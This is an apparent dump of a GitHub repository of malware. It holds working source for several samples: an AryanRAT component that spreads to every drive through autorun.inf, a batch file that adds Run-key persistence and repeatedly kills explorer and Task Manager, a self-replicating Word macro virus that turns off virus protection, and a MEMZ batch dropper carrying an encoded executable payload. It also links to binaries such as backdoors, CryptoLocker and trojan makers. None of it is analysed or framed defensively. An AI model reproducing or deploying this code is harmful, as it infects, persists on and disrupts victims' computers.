/W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "ARYANSERVERFWB_EXPORTS" /YX /FD /GZ /c 72 | # ADD BASE MTL /nologo /D "_DEBUG" /mktyplib203 /win32 73 | # ADD MTL /nologo /D "_DEBUG" /mktyplib203 /win32 74 | # ADD BASE RSC /l 0x809 /d "_DEBUG" 75 | # ADD RSC /l 0x809 /d "_DEBUG" 76 | BSC32=bscmake.exe 77 | # ADD BASE BSC32 /nologo 78 | # ADD BSC32 /nologo 79 | LINK32=link.exe 80 | # ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /debug /machine:I386 /pdbtype:sept 81 | # ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /debug /machine:I386 /pdbtype:sept 82 | 83 | !ENDIF 84 | 85 | # Begin Target 86 | 87 | # Name "AryanServerFWB - Win32 Release" 88 | # Name "AryanServerFWB - Win32 Debug" 89 | # Begin Group "Source Files" 90 | 91 | # PROP Default_Filter "cpp;c;cxx;rc;def;r;odl;idl;hpj;bat" 92 | # Begin Source File 93 | 94 | SOURCE=.\main.cpp 95 | # End Source File 96 | # End Group 97 | # Begin Group "Header Files" 98 | 99 | # PROP Default_Filter "h;hpp;hxx;hm;inl" 100 | # Begin Source File 101 | 102 | SOURCE=.\AryanServer.h 103 | # End Source File 104 | # Begin Source File 105 | 106 | SOURCE=.\hook.h 107 | # End Source File 108 | # Begin Source File 109 | 110 | SOURCE=.\resource.h 111 | # End Source File 112 | # Begin Source File 113 | 114 | SOURCE=.\tiny.h 115 | # End Source File 116 | # End Group 117 | # Begin Group "Resource Files" 118 | 119 | # PROP Default_Filter "ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe" 120 | # Begin Source File 121 | 122 | SOURCE=.\resource.rc 123 | # End Source File 124 | # End Group 125 | # End Target 126 | # End Project 127 | -------------------------------------------------------------------------------- /AryanRAT/ServerA/AryanServerFWB.dsw: -------------------------------------------------------------------------------- 1 | Microsoft Developer Studio Workspace File, Format Version 6.00 2 | # WARNING: DO NOT EDIT OR DELETE THIS WORKSPACE FILE! 3 | 4 | ############################################################################### 5 | 6 | Project: "AryanServerFWB"=".\AryanServerFWB.dsp" - Package Owner=<4> 7 | 8 | Package=<5> 9 | {{{ 10 | }}} 11 | 12 | Package=<4> 13 | {{{ 14 | }}} 15 | 16 | ############################################################################### 17 | 18 | Global: 19 | 20 | Package=<5> 21 | {{{ 22 | }}} 23 | 24 | Package=<3> 25 | {{{ 26 | }}} 27 | 28 | ############################################################################### 29 | 30 | -------------------------------------------------------------------------------- /AryanRAT/ServerA/AryanServerFWB.ncb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/AryanRAT/ServerA/AryanServerFWB.ncb -------------------------------------------------------------------------------- /AryanRAT/ServerA/AryanServerFWB.opt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/AryanRAT/ServerA/AryanServerFWB.opt -------------------------------------------------------------------------------- /AryanRAT/ServerA/AryanServerFWB.plg: -------------------------------------------------------------------------------- 1 | 2 | 3 |
 4 | 

Build Log

5 |

6 | --------------------Configuration: AryanServerFWB - Win32 Release-------------------- 7 |

8 |

Command Lines

9 | Creating temporary file "C:\DOCUME~1\ALBINO~1\LOCALS~1\Temp\RSPA60.tmp" with contents 10 | [ 11 | kernel32.lib user32.lib gdi32.lib winspool.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib gdiplus.lib Winmm.lib /nologo /dll /incremental:no /pdb:"Release/AryanServerFWB.pdb" /machine:I386 /out:"Release/AryanServerFWB.dll" /implib:"Release/AryanServerFWB.lib" 12 | ".\Release\main.obj" 13 | ".\Release\resource.res" 14 | ] 15 | Creating command line "link.exe @C:\DOCUME~1\ALBINO~1\LOCALS~1\Temp\RSPA60.tmp" 16 |

Output Window

17 | Linking... 18 | Creating library Release/AryanServerFWB.lib and object Release/AryanServerFWB.exp 19 | LINK : warning LNK4098: defaultlib "LIBCMT" conflicts with use of other libs; use /NODEFAULTLIB:library 20 | 21 | 22 | 23 |

Results

24 | AryanServerFWB.dll - 0 error(s), 1 warning(s) 25 |
26 | 27 | 28 | -------------------------------------------------------------------------------- /AryanRAT/ServerA/Spread.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include //for C references 3 | #include //for ProcessKill 4 | 5 | #include "Spread.h" 6 | DWORD WINAPI Drivespread(LPVOID p) 7 | { 8 | 9 | // int i; 10 | char autorun[] = "[autorun]"; // 11 | char start [] = "OPEN = Setup.exe"; //OPEN = Setup.exe 12 | char open[] = "ShellExecute=Setup.exe"; //ShellExecute=Setup.exe 13 | char drive_cnt,DropPath[32]; 14 | int DriveType; 15 | char me[262]; 16 | char TmpPath[MAX_PATH]; 17 | 18 | GetTempPath(sizeof(TmpPath), TmpPath); 19 | wsprintf(me, "%s\21[05]1992.exe", TmpPath); 20 | 21 | for(drive_cnt = 'C';drive_cnt <= 'Z';drive_cnt++) 22 | { 23 | sprintf(DropPath,"%c:\\",drive_cnt); 24 | DriveType = GetDriveType(DropPath); 25 | 26 | if(DriveType != 0 && DriveType != 1) 27 | { 28 | strcat(DropPath,"Setup.exe"); 29 | CopyFile(me,DropPath,true); 30 | 31 | FILE *file; 32 | file = fopen((DropPath,"autorun.inf"),"w+"); 33 | fputs(autorun,file); 34 | fputs("\n",file); 35 | fputs(start,file); 36 | fputs("\n",file); 37 | fputs(open,file); 38 | fclose(file); 39 | 40 | } 41 | 42 | Sleep(30); 43 | } 44 | return 0; 45 | } 46 | 47 | int Spread() 48 | { 49 | DWORD dword; 50 | CreateThread(0,0,&Drivespread,0,0,&dword); 51 | return 0; 52 | } -------------------------------------------------------------------------------- /AryanRAT/ServerA/Spread.h: -------------------------------------------------------------------------------- 1 | #ifndef _SPREAD_H_ 2 | #define _SPREAD_H_ 3 | 4 | int Spread(); 5 | 6 | #endif 7 | -------------------------------------------------------------------------------- /AryanRAT/ServerA/hook.h: -------------------------------------------------------------------------------- 1 | #ifndef _M_HOOK_h 2 | #define _M_HOOK_h 3 | //#define _WIN32_WINNT 0x0400 4 | #define DLLEXPORT __declspec(dllexport) 5 | #define WIN32_LEAN_AND_MEAN 6 | #define WH_KEYBOARD_LL 13 7 | 8 | typedef struct { 9 | DWORD vkCode; 10 | DWORD scanCode; 11 | DWORD flags; 12 | DWORD time; 13 | ULONG_PTR dwExtraInfo; 14 | } KBDLLHOOKSTRUCT, *PKBDLLHOOKSTRUCT; 15 | 16 | #endif // M_HOOK -------------------------------------------------------------------------------- /AryanRAT/ServerA/resource.aps: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/AryanRAT/ServerA/resource.aps -------------------------------------------------------------------------------- /AryanRAT/ServerA/resource.h: -------------------------------------------------------------------------------- 1 | //{{NO_DEPENDENCIES}} 2 | // Microsoft Developer Studio generated include file. 3 | // Used by resource.rc 4 | // 5 | #define IDC_FILE 108 6 | #define MAIN 110 7 | 8 | // Next default values for new objects 9 | // 10 | #ifdef APSTUDIO_INVOKED 11 | #ifndef APSTUDIO_READONLY_SYMBOLS 12 | #define _APS_NO_MFC 1 13 | #define _APS_3D_CONTROLS 1 14 | #define _APS_NEXT_RESOURCE_VALUE 111 15 | #define _APS_NEXT_COMMAND_VALUE 40001 16 | #define _APS_NEXT_CONTROL_VALUE 1062 17 | #define _APS_NEXT_SYMED_VALUE 101 18 | #endif 19 | #endif 20 | -------------------------------------------------------------------------------- /AryanRAT/ServerA/resource.rc: -------------------------------------------------------------------------------- 1 | //Microsoft Developer Studio generated resource script. 2 | // 3 | #include "resource.h" 4 | 5 | #define APSTUDIO_READONLY_SYMBOLS 6 | ///////////////////////////////////////////////////////////////////////////// 7 | // 8 | // Generated from the TEXTINCLUDE 2 resource. 9 | // 10 | #include "afxres.h" 11 | 12 | ///////////////////////////////////////////////////////////////////////////// 13 | #undef APSTUDIO_READONLY_SYMBOLS 14 | 15 | ///////////////////////////////////////////////////////////////////////////// 16 | // Russian resources 17 | 18 | #if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_RUS) 19 | #ifdef _WIN32 20 | LANGUAGE LANG_RUSSIAN, SUBLANG_DEFAULT 21 | #pragma code_page(1251) 22 | #endif //_WIN32 23 | 24 | #ifdef APSTUDIO_INVOKED 25 | ///////////////////////////////////////////////////////////////////////////// 26 | // 27 | // TEXTINCLUDE 28 | // 29 | 30 | 1 TEXTINCLUDE DISCARDABLE 31 | BEGIN 32 | "resource.h\0" 33 | END 34 | 35 | 2 TEXTINCLUDE DISCARDABLE 36 | BEGIN 37 | "#include ""afxres.h""\r\n" 38 | "\0" 39 | END 40 | 41 | 3 TEXTINCLUDE DISCARDABLE 42 | BEGIN 43 | "\r\n" 44 | "\0" 45 | END 46 | 47 | #endif // APSTUDIO_INVOKED 48 | 49 | #endif // Russian resources 50 | ///////////////////////////////////////////////////////////////////////////// 51 | 52 | 53 | ///////////////////////////////////////////////////////////////////////////// 54 | // English (U.K.) resources 55 | 56 | #if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_ENG) 57 | #ifdef _WIN32 58 | LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_UK 59 | #pragma code_page(1252) 60 | #endif //_WIN32 61 | 62 | ///////////////////////////////////////////////////////////////////////////// 63 | // 64 | // Dialog 65 | // 66 | 67 | MAIN DIALOG DISCARDABLE 0, 0, 1, 0 68 | STYLE DS_MODALFRAME | DS_CENTER | WS_POPUP | WS_CAPTION | WS_SYSMENU 69 | CAPTION "R.A.T - Remote Administration Tool (Client)" 70 | FONT 8, "MS Sans Serif" 71 | BEGIN 72 | END 73 | 74 | IDC_FILE DIALOG DISCARDABLE 0, 0, 1, 0 75 | STYLE DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU 76 | CAPTION "Dialog" 77 | FONT 8, "MS Sans Serif" 78 | BEGIN 79 | END 80 | 81 | #endif // English (U.K.) resources 82 | ///////////////////////////////////////////////////////////////////////////// 83 | 84 | 85 | 86 | #ifndef APSTUDIO_INVOKED 87 | ///////////////////////////////////////////////////////////////////////////// 88 | // 89 | // Generated from the TEXTINCLUDE 3 resource. 90 | // 91 | 92 | 93 | ///////////////////////////////////////////////////////////////////////////// 94 | #endif // not APSTUDIO_INVOKED 95 | 96 | -------------------------------------------------------------------------------- /AryanRAT/ServerA/tiny.h: -------------------------------------------------------------------------------- 1 | 2 | ////////////////////////////// 3 | // Version 1.10 4 | // Jan 23rd, 2000 5 | // Version 1.00 6 | // May 20th, 1999 7 | // Todd C. Wilson, Fresh Ground Software 8 | // (todd@nopcode.com) 9 | // This header file will kick in settings for Visual C++ 5 and 6 that will (usually) 10 | // result in smaller exe's. 11 | // The "trick" is to tell the compiler to not pad out the function calls; this is done 12 | // by not using the /O1 or /O2 option - if you do, you implicitly use /Gy, which pads 13 | // out each and every function call. In one single 500k dll, I managed to cut out 120k 14 | // by this alone! 15 | // The other two "tricks" are telling the Linker to merge all data-type segments together 16 | // in the exe file. The relocation, read-only (constants) data, and code section (.text) 17 | // sections can almost always be merged. Each section merged can save 4k in exe space, 18 | // since each section is padded out to 4k chunks. This is very noticable with smaller 19 | // exes, since you could have only 700 bytes of data, 300 bytes of code, 94 bytes of 20 | // strings - padded out, this could be 12k of runtime, for 1094 bytes of stuff! 21 | // Note that if you're using MFC static or some other 3rd party libs, you may get poor 22 | // results with merging the readonly (.rdata) section - the exe may grow larger. 23 | // To use this feature, define _MERGE_DATA_ in your project or before this header is used. 24 | // With Visual C++ 5, the program uses a file alignement of 512 bytes, which results 25 | // in a small exe. Under VC6, the program instead uses 4k, which is the same as the 26 | // section size. The reason (from what I understand) is that 4k is the chunk size of 27 | // the virtual memory manager, and that WinAlign (an end-user tuning tool for Win98) 28 | // will re-align the programs on this boundary. The problem with this is that all of 29 | // Microsoft's system exes and dlls are not tuned like this, and using 4k causes serious 30 | // exe bloat. Very noticable for smaller programs. 31 | // The "trick" for this is to use the undocumented FILEALIGN linker parm to change the 32 | // padding from 4k to 1/2k, which results in a much smaller exe - anywhere from 20%-75% 33 | // depending on the size. 34 | 35 | 36 | #ifdef NDEBUG 37 | // /Og (global optimizations), /Os (favor small code), /Oy (no frame pointers) 38 | #pragma optimize("gsy",on) 39 | 40 | #pragma comment(linker,"/RELEASE") 41 | 42 | // Note that merging the .rdata section will result in LARGER exe's if you using 43 | // MFC (esp. static link). If this is desirable, define _MERGE_RDATA_ in your project. 44 | #ifdef _MERGE_RDATA_ 45 | #pragma comment(linker,"/merge:.rdata=.data") 46 | #endif // _MERGE_RDATA_ 47 | 48 | #pragma comment(linker,"/merge:.text=.data") 49 | #pragma comment(linker,"/merge:.reloc=.data") 50 | 51 | #if _MSC_VER >= 1000 52 | // Only supported/needed with VC6; VC5 already does 0x200 for release builds. 53 | // Totally undocumented! And if you set it lower than 512 bytes, the program crashes. 54 | // Either leave at 0x200 or 0x1000 55 | #pragma comment(linker,"/FILEALIGN:0x200") 56 | #endif // _MSC_VER >= 1000 57 | 58 | #endif // NDEBUG 59 | 60 | //#pragma comment(linker,"/ENTRY:WinMain") 61 | #pragma comment(linker,"/MERGE:.rdata=.data") 62 | #pragma comment(linker,"/MERGE:.text=.data") 63 | #pragma comment(lib,"msvcrt.lib") 64 | #if (_MSC_VER < 1300) 65 | #pragma comment(linker,"/IGNORE:4078") 66 | #pragma comment(linker,"/OPT:NOWIN98") 67 | #endif 68 | #define WIN32_LEAN_AND_MEAN 69 | -------------------------------------------------------------------------------- /Backdoor/Backdoor(na)(np).exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/Backdoor/Backdoor(na)(np).exe -------------------------------------------------------------------------------- /Backdoor/Backdoor(na).exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/Backdoor/Backdoor(na).exe -------------------------------------------------------------------------------- /Backdoor/Backdoor(np).exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/Backdoor/Backdoor(np).exe -------------------------------------------------------------------------------- /Backdoor/Backdoor.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/Backdoor/Backdoor.exe -------------------------------------------------------------------------------- /CODEEVO/CODEEVO.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | 3 | mode 80, 33 4 | 5 | start cmd.exe 6 | 7 | cls 8 | 9 | :skull 10 | 11 | :a 12 | REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "CODE EVO" /t REG_SZ /F /D "%~dp0\CODEEVO.exe" 13 | REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "CODE EVO" /t REG_SZ /F /D "%~dp0\CODEEVO.exe" 14 | REG ADD "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "CODE EVO" /t REG_SZ /F /D "%~dp0\CODEEVO.exe" 15 | REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "CODE EVO" /t REG_SZ /F /D "%~dp0\CODEEVO.exe" 16 | start cmd.exe 17 | TSKILL explorer 18 | TSKILL explorer.exe 19 | TASKKILL /IM /f explorer 20 | TASKKILL /IM /f explorer.exe 21 | TSKILL taskmgr 22 | TSKILL taskmgr.exe 23 | TASKKILL /IM /f taskmgr 24 | TASKKILL /IM /f taskmgr.exe 25 | goto a 26 | 27 | echo .,od88888888888bo,. 28 | echo .d88888888888888888888888b. 29 | echo .d88888888888888888888888888888b. 30 | echo .d888888888888888888888888888888888b. 31 | echo .d8888888888888888888888888888888888888b. 32 | echo d88888888888888888888888888888888888888888b 33 | echo d8888888888888888888888888888888888888888888b 34 | echo d888888888888888888888888888888888888888888888 35 | echo 8888888888888888888888888888888888888888888888 36 | echo 8888888888888888888888888888888888888888888888 37 | echo 8888888888888888888888888888888888888888888888 38 | echo Y88888888888888888888888888888888888888888888P 39 | echo "8888888888P' "Y8888888888P" "Y888888888" 40 | echo 88888888P Y88888888P Y88888888 41 | echo Y8888888 ]888888P 8888888P 42 | echo Y888888 d888888b 888888P 43 | echo Y88888b d88888888b d88888P 44 | echo Y888888b. .d88888888888b. .d888888 45 | echo Y8888888888888888P Y8888888888888888 46 | echo 888888888888888P Y88888888888888 47 | echo "8888888888888[ ]888888888888" 48 | echo "Y888888888888888888888888P" 49 | echo "Y88888888888888P" 50 | echo 888b Y8888888888P d888 51 | echo "888b d888" 52 | echo Y888bo. .od888P 53 | echo Y888888888888888888P 54 | echo "Y88888888888888P" 55 | echo "Y8888888888P" 56 | echo "Y888888P" 57 | echo """" 58 | 59 | PING 1.1.1.1 -n 1 -w 500>nul 60 | 61 | cls 62 | 63 | echo .,od88888888888bo,. 64 | echo .d88888888888888888888888b. 65 | echo .d88888888888888888888888888888b. 66 | echo .d888888888888888888888888888888888b. 67 | echo .d8888888888888888888888888888888888888b. 68 | echo d88888888888888888888888888888888888888888b 69 | echo d8888888888888888888888888888888888888888888b 70 | echo d888888888888888888888888888888888888888888888 71 | echo 8888888888888888888888888888888888888888888888 72 | echo 8888888888888888888888888888888888888888888888 73 | echo 8888888888888888888888888888888888888888888888 74 | echo Y88888888888888888888888888888888888888888888P 75 | echo "8888888888P' "Y8888888888P" "Y888888888" 76 | echo 88888888P Y88888888P Y88888888 77 | echo Y8888888 ]888888P 8888888P 78 | echo Y888888 d888888b 888888P 79 | echo Y88888b d88888888b d88888P 80 | echo Y888888b. .d88888888888b. .d888888 81 | echo Y8888888888888888P Y8888888888888888 82 | echo 888888888888888P Y88888888888888 83 | echo "8888888888888[ ]888888888888" 84 | echo "Y888888888888888888888888P" 85 | echo "Y88888888888888P" 86 | echo Y8888888888P 87 | echo 888b d888 88 | echo "888b d888" 89 | echo Y888bo. .od888P 90 | echo Y888888888888888888P 91 | echo "Y88888888888888P" 92 | echo "Y8888888888P" 93 | echo "Y888888P" 94 | echo """" 95 | 96 | PING 1.1.1.1 -n 1 -w 500>nul 97 | 98 | cls 99 | 100 | goto skull -------------------------------------------------------------------------------- /CODEEVO/CODEEVO.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/CODEEVO/CODEEVO.exe -------------------------------------------------------------------------------- /CODEEVO/icon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/CODEEVO/icon.ico -------------------------------------------------------------------------------- /CryptoLocker 2014/1002.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/CryptoLocker 2014/1002.exe -------------------------------------------------------------------------------- /CryptoLocker 2014/1003.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/CryptoLocker 2014/1003.exe -------------------------------------------------------------------------------- /D3STR0Y3R (test)/D3STR0Y3R.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/D3STR0Y3R (test)/D3STR0Y3R.exe -------------------------------------------------------------------------------- /D3STR0Y3R (test)/disableav.bat: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/D3STR0Y3R (test)/disableav.bat -------------------------------------------------------------------------------- /D3STR0Y3R (test)/millionfoldermod.bat: -------------------------------------------------------------------------------- 1 | @ echo off:topmd %random%goto top -------------------------------------------------------------------------------- /DELmE/DELmE_s Batch Virus Generator v 2.0.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/DELmE/DELmE_s Batch Virus Generator v 2.0.exe -------------------------------------------------------------------------------- /DarkHorse VM/COMCTL32.OCX: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/DarkHorse VM/COMCTL32.OCX -------------------------------------------------------------------------------- /DarkHorse VM/DarkHorseTrojanVirusMaker.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/DarkHorse VM/DarkHorseTrojanVirusMaker.exe -------------------------------------------------------------------------------- /ERROR/Error.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/ERROR/Error.exe -------------------------------------------------------------------------------- /Hotbest/hotbest.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/Hotbest/hotbest.exe -------------------------------------------------------------------------------- /Killsight/XXX.docx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/Killsight/XXX.docx -------------------------------------------------------------------------------- /Killsight/wordmacromalware.Killsight.txt: -------------------------------------------------------------------------------- 1 | Private Sub Document_Close() 2 | Rem 3 | Rem ProgramName "Killsight" 4 | Call Document_Open 5 | End Sub 6 | Private Sub Document_New() 7 | Call Document_Open 8 | End Sub 9 | Private Sub Document_Open() 10 | On Error Resume Next 11 | Application.DisplayAlerts = wdAlertsNone 12 | WordBasic.DisableAutoMakros 0 13 | Options.VirusProtection = False 14 | NormInstalled = False 15 | ActInstalled = False 16 | If NormalTemplate.VBProject.VBComponents(1).CodeModule.Lines(2, 1) = "Rem" Then NormInstalled = True 17 | If ActiveDocument.VBProject.VBComponents(1).CodeModule.Lines(2, 1) = "Rem" Then ActInstalled = True 18 | If NormInstalled = True And ActInstalled = True Then GoTo Killer 19 | If NormInstaller = False Then 20 | Set Inf = NormalTemplate.VBProject.VBComponents(1).CodeModule 21 | Set Noc = ActiveDocument.VBProject.VBComponents(1).CodeModule 22 | Else 23 | Set Inf = ActiveDocument.VBProject.VBComponents(1).CodeModule 24 | Set Noc = NormalTemplate.VBProject.VBComponents(1).CodeModule 25 | End If 26 | With Noc 27 | Code = .Lines(1, .CountOfLines) 28 | End With 29 | With Inf 30 | .DeleteLines 1, .CountOfLines 31 | .InsertLines 1, Code 32 | End With 33 | Application.DisplayAlerts = wdAlertsAll 34 | ''WordBasic.Kill "c:\Windows\*.*" 35 | Exit Sub 36 | Killer: 37 | ActiveWindow.Caption = "Killsight Activated." 38 | Set ULTRAS = ActiveDocument.Range(Start:=0, End:=0) 39 | With ULTRAS 40 | .InsertBefore "Killsight Activated." + Chr(13) 41 | .Font.Size = 50 42 | .Font.Name = "Stencil" 43 | .Font.ColorIndex = wdGreen 44 | .Font.Shadow = 1 45 | .Font.Animation = wdAnimationLasVegasLights 46 | End With 47 | AutoCorrect.Entries.Add Name:=".", Value:=" Dick " 48 | AutoCorrect.Entries.Add Name:=",", Value:=" Schlong " 49 | AutoCorrect.Entries.Add Name:="?", Value:=" Erotic.org " 50 | AutoCorrect.Entries.Add Name:="!", Value:=" Harakiri " 51 | AutoCorrect.Entries.Add Name:="@", Value:=" Seppuku " 52 | AutoCorrect.Entries.Add Name:="7", Value:=" 2+2=5 " 53 | End If 54 | End Sub -------------------------------------------------------------------------------- /MEMZ/MEMZ.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | 3 | echo UEsDBBQAAAAIAHV36kiQ6IfZcyEAAAA6AAAIAAAATUVNWi5leGXtew10U8e17kg6soUtjACbGGzi>x 4 | echo AxgMyD9Hlm1sY4JkW2AH/wjLP5BgB9k6RhKSjqIfbKcJyBgaqw65tM1NIJckNE1705Tcpi3JJWma>>x 5 | echo OD830Da0TptFSQOpXx7NFSnhmYRbnIRw3jfnyMZpfmCt99b7WauzvM+c2TOz95699+zZIw71t+wl>>x 6 | echo KkIIAxBFQo4QuZjItctJQErWcynk8LTjC44o6o4vaHa6gqw/IGwJ2L1sl93nE0JsJ88Gwj7W5WOr>>x 7 | echo G22sV3Dw+dOnJ2XHaTxj9pZ/yKpcE/Dphr2uz6R3pet3qDdvT3BekurLro+kWuGkdZOry0nHf5Vs>>x 8 | echo VgshdQo1eXHNzrYJ3ChRKpIVKYRo0Vgu4/Jm4aEDsPFV03clIWqikPonahKJK0nqNu2WBtKxk/Vk>>x 9 | echo JZXDKwk5SF82ExJTfImAfogBPnvLCSm9Dl1PFsip+zJ68ZIf4ntDdHnJcYG0V+WeQmJzfsBhD9kJ>>x 10 | echo eXmBjCAL/24BRNKGKV8eRu6jPK1E0g0p/MK44fxAMNBF4mvdHB9X9CX0ArxH6JLXTnUgyVbyhXGV>>x 11 | echo X73Cf5T/naVl6NzAXVpdaDqec0KJ7eLiU6yJxBLQZRxuf1lHWtvcqR1Gsa2tzXlFZyJO6iRtYpoD>>x 12 | echo o9wOMc2EeuC8Ivzn2zrOTtA7l2lrbXPuKjMRMa0I/UPFEfocd94DVJt4wnmQ1kMnxRNGcWhs99uh>>x 13 | echo hbv/Frpxj0W0trkV7tniH/ZYLlrdCZQlvHJYPDHw6tI9lnGre6mY5gElq5hGUO2xxKzOwxLJNA3a>>x 14 | echo GL/Hcuao5Yzkqm1iePyoZYy6mZjGoNuZiK3sThDTRtG4rePWob+0v9Iqpm2mBN3E+cZcLEgNygsw>>x 15 | echo VIdFOitWQOixWME0qOL3l4pHlmM9Rf98zIpxIPk65mH6MVTG4Y6XGbry/nMV4GdrNb7dFm2/+Au6>>x 16 | echo B2xuk5jWi0E2a9QyFpc/9gRoOmMqKhpVoJu4lbFdwA2NH9396meimIuZe6Q3a1vsdtrRPmb8m/j0>>x 17 | echo 68BAVrppxDQ/XRTl4TZFLZdlLlLbKoYvRy3jsWpMhBZsYlouunYPhxVr0COmLUULeDEtRLU4wUaH>>x 18 | echo 0RjzYJs8YGX44l3q2BX0RcMX3Ulnm0RRlIzrsLUOFY/QZb/dZhNPuBXf37Ue9E58f3A9tcllWKdC>>x 19 | echo NtJe6ht3XVbMuPcvMIkzG/oU/YyYxknSzNg9CNvYbDbnzTOhHpvsU3ssjx+1PM6h54VSjD9qeYrA>>x 20 | echo 66zR8Ei0/VC0/XC0/Ui0/flo+3C0/dVo+7Fo++vR9jfFtJNUwyhuh9tB61aQe1Nyvct4/jV1j+Uk>>x 21 | echo BIpJDOjbGXm81Dixe3jHnzFVhT8nGA87HZLr3knnn4y2jw98KoY1bqWY5pQ0TN0oblTqv2WrYstM>>x 22 | echo ZFv6c+nwnKHf6k98i0laO6gwr5TwgQvGX5VNP0dHzPlWf81CExnclXIF6jCvlLCB992EurtEttU2>>x 23 | echo ND+bGucPMATjVv31HphpaJVkrz/C7hFI51bCW+Jy9l6Vc2zgihhOdDNnW0XqIpSkWPw6XNY5tow6>>x 24 | echo KqWY6FafXYHuVhBLMr5tk+Y7TxXK2t8HMmXzTwE19OnQfOqW25a+wFHTbmPEPxiHrdZWp34ebGGV>>x 25 | echo LbV24DXNylV0fOC0U5cDV/vDXy8NFdN98SLdOu6iNmcNavjIwHiCbG2KGy2dwIV7nTTWTyjTSc+h>>x 26 | echo oTFqulK6KdS3uZNskte0Uvnuo970PxTh9/dYDhy1HKigmzwaPgQP2VBGHeUgSJFo+2PR9sclP3n+>>x 27 | echo qOVIkrT7D1DiVHdiGK5STU1/tuCK5M7r17uToE8Sq1XLu1y3QNrlBLvcOVomb3WqmdhSDNj/7DFQ>>x 28 | echo ufRxtOXy25bLp9vHT1vG37Zo5JdTxRvKTeSUmqPPVRHp3YnnOy/FDmIuDTcSQ8RGGszEtKeo3Sza>>x 29 | echo Z/dpQPnSx3v8ytgrDH29MvRJ7Nn424exn+DNrdp/66VPb57xkz+qWi43xQ5InbR9QtUy3iSmHaL6>>x 30 | echo Um6IRzVpm+pasZEPS3EXL+ckH9ljGUNcTHtMYnzZ+Cu95aJTQ4xk/fpW65BlXI9uvIpp6TS2YeCr>>x 31 | echo UpAH2UnhqRtYnffNjR8EcVeIJVMZb9y/8atUM33pFNUMSu+bZdXsZmTVwLsr5lJvPizHjiOUdeGG>>x 32 | echo V3AgkNghlWycVNk4R6x0oAaN2HfQ406ljPcwM+WFZ9smV37SFm0fkxePCLnHcspqk1cfuwXzhurP>>x 33 | echo DLx0YD+V+WKsVkLEJhDjsdKpI4b+FFs6dQAMlK6i/rBBSf0BVpo2pelkyeukzTbUftnW1EoDbfii>>x 34 | echo TVaqTQyPyWqVdHPutOXcqeKaKbrxS++leMa2guJUg2bGT7bYwzTkL98IMdyZOPAGXuasbkV3tCUm>>x 35 | echo pl2ka9uupKLsVVBR9uzMVUz63sC59C91ithVp7g4VD8miW9dT7dF68DwAese8wGru9BdCMfInOIY>>x 36 | echo Uxz/iysw0RX8SElXMMk8deLgaHMniyf2618eGndr3xDl17E3rsRtL51lkmgnpSgm7ROnYgeR9uIw>>x 37 | echo 